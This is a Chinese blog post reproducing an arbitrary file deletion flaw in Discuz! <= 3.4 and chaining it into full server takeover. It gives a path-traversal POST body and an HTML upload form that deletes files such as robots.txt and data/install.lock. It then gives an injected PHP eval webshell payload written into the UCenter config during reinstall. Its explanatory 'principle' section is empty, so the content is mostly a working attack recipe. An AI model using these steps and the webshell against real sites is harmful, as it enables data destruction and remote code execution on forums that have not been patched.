avatar

目录
discuz任意文件删除getshell复现

条件

Discuz <= 3.4

简述

Discuz!X 社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日,知道创宇404实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到 Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号 ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
经过分析确认,原有的利用方式已经被修复,添加了对属性的 formtype 判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他 unlink 条件,实现任意文件删除漏洞。
原理

复现

任意文件删除

首先随便注册一个账号,F12查看formhash值
在个人设置页面post提交birthprovince=../../../robots.txt&profilesubmit=1&formhash=ebb9b29d
其中ebb9b29d为formhash值

将出生地修改为../../../robots.txt

再构造一个html表单

Code
1
2
3
4
5
6
<form action="http://192.168.1.107/discuz/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="ebb9b29d"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
</from>

tips:如果出现拦截情况,请检查formhash是否正确
上传一张图片,然后提交表单,根目录的robots.txt就被删除了

getshell

需要没有删除install目录
discuz在安装完成后,会在 data 目录下生成一个 install.lock 文件。如果尝试再次访问 /install 来安装,检测到存在 install.lock,会出现报错:

采用任意文件删除删除掉/data/install.lock,即可重新进行安装

install/index.php控制discuz的安装


show_license 判断是否接受协议,再跳到 env_check
env_check 检查目录是否可写和 PHP的相关检测,再跳到 app_reg
app_reg 询问是否安装 UCenter ,如果 同意,再跳到 db_init
db_init为填写数据库信息等

install_uc_server:发现它没有对传入的参数做任何过滤,传入了 save_uc_config
构造payloadpre');@eval($_POST[1]);('进行安装

之后config/config_ucenter.php中已经成功写入了一句话
成功连接

文章作者: 2hangd
文章链接: https://zhangding222.github.io/2020/01/06/discuz任意文件删除getshell复现/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 2hangding's bl0g